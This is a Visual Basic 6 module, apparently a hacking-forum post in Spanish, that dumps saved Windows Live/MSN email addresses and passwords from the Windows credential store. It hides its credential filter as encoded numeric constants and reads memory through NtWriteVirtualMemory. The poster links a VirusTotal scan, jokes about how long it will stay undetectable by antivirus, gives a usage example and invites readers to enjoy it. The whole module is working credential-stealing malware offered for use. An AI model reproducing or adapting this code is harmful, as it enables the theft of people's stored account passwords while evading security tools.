Option Explicit
'KERNEL32
Private Declare Function GetProcessHeap Lib "KERNEL32" () As Long
'ADVAPI32
Private Declare Function CredEnumerateW Lib "ADVAPI32" (ByVal lpszFilter As Long, ByVal lFlags As Long, ByRef pCount As Long, ByRef lppCredentials As Long) As Long
'CRYPT32
Private Declare Function CryptUnprotectData Lib "CRYPT32" (ByRef pDataIn As DATA_BLOB, ByVal ppszDataDescr As Long, ByVal pOptionalEntropy As Long, ByVal pvReserved As Long, ByVal pPromptStruct As Long, ByVal dwFlags As Long, ByRef pDataOut As Long) As Long
'NTDLL
Private Declare Function NtWriteVirtualMemory Lib "NTDLL" (ByVal ProcessHandle As Long, ByVal BaseAddress As Long, ByVal pBuffer As Long, ByVal NumberOfBytesToWrite As Long, ByRef NumberOfBytesWritten As Long) As Long
Private Declare Function RtlFreeHeap Lib "NTDLL" (ByVal HeapHandle As Long, ByVal Flags As Long, ByVal MemoryPointer As Long) As Long
Private Type DATA_BLOB
cbData As Long
pbData As Long
End Type
Public Type ACCOUNT_INFO
sMail As String
sPassword As String
End Type
Public Function sMSN() As ACCOUNT_INFO()
Dim tTMP() As ACCOUNT_INFO
Dim i As Long
Dim x As Long
Dim lCount As Long
Dim lCred As Long
Dim lPtr As Long
Dim lUser As Long
Dim tBlobIn As DATA_BLOB
Dim bvGUID(4) As Currency
bvGUID(0) = 2814797012434.9527@
bvGUID(1) = 2139259215904.7791@
bvGUID(2) = 1632598244864.8297@
bvGUID(3) = 2842944080556.8622@
bvGUID(4) = 275.2573@
'bvGUID = "WindowsLive:name=*"
Call CredEnumerateW(VarPtr(bvGUID(0)), 0, lCount, lCred)
For i = 0 To lCount - 1
Call NtWriteVirtualMemory(-1, ByVal VarPtr(lPtr), ByVal lCred + (i * &H4), &H4, 0)
Call NtWriteVirtualMemory(-1, ByVal VarPtr(lUser), ByVal (lPtr + &H30), &H4, 0)
Call NtWriteVirtualMemory(-1, ByVal VarPtr(tBlobIn.cbData), ByVal (lPtr + &H18), &H8, 0)
Call CryptUnprotectData(tBlobIn, 0&, 0&, 0&, 0&, 1&, 0&)
If tBlobIn.cbData Then
ReDim Preserve tTMP(x)
With tTMP(x)
.sPassword = Space$(tBlobIn.cbData \ 2)
Call NtWriteVirtualMemory(-1, ByVal StrPtr(.sPassword), ByVal tBlobIn.pbData, tBlobIn.cbData, 0)
If Len(.sPassword) > 0 Then
.sMail = uReadStr(lUser)
End If
End With
x = x + 1
End If
Next i
Call RtlFreeHeap(GetProcessHeap(), 0, lCred)
sMSN = tTMP
End Function
Private Function uReadStr(ByVal lPtr As Long) As String
Dim iChar As Integer
Dim i As Long
Do
Call NtWriteVirtualMemory(-1, ByVal VarPtr(iChar), ByVal (lPtr + i * 2), 2, ByVal 0&)
i = i + 1
If iChar = 0 Then Exit Do
uReadStr = uReadStr & ChrW$(iChar)
Loop
End Function
http://www.virustotal.com/es/analisis/2d7deb3a66001d026c2267bec22393727c97ee4ac70bb3995b10622518391189-1278876972
Ale, a ver cuanto dura FUD :D
Ejemplo de uso: Dim i As Long
Dim x() As ACCOUNT_INFO
x = sMSN
For i = LBound(x) To UBound(x)
Debug.Print x(i).sMail, x(i).sPassword
Next i
A disfrutar!!! >:D >:D :xD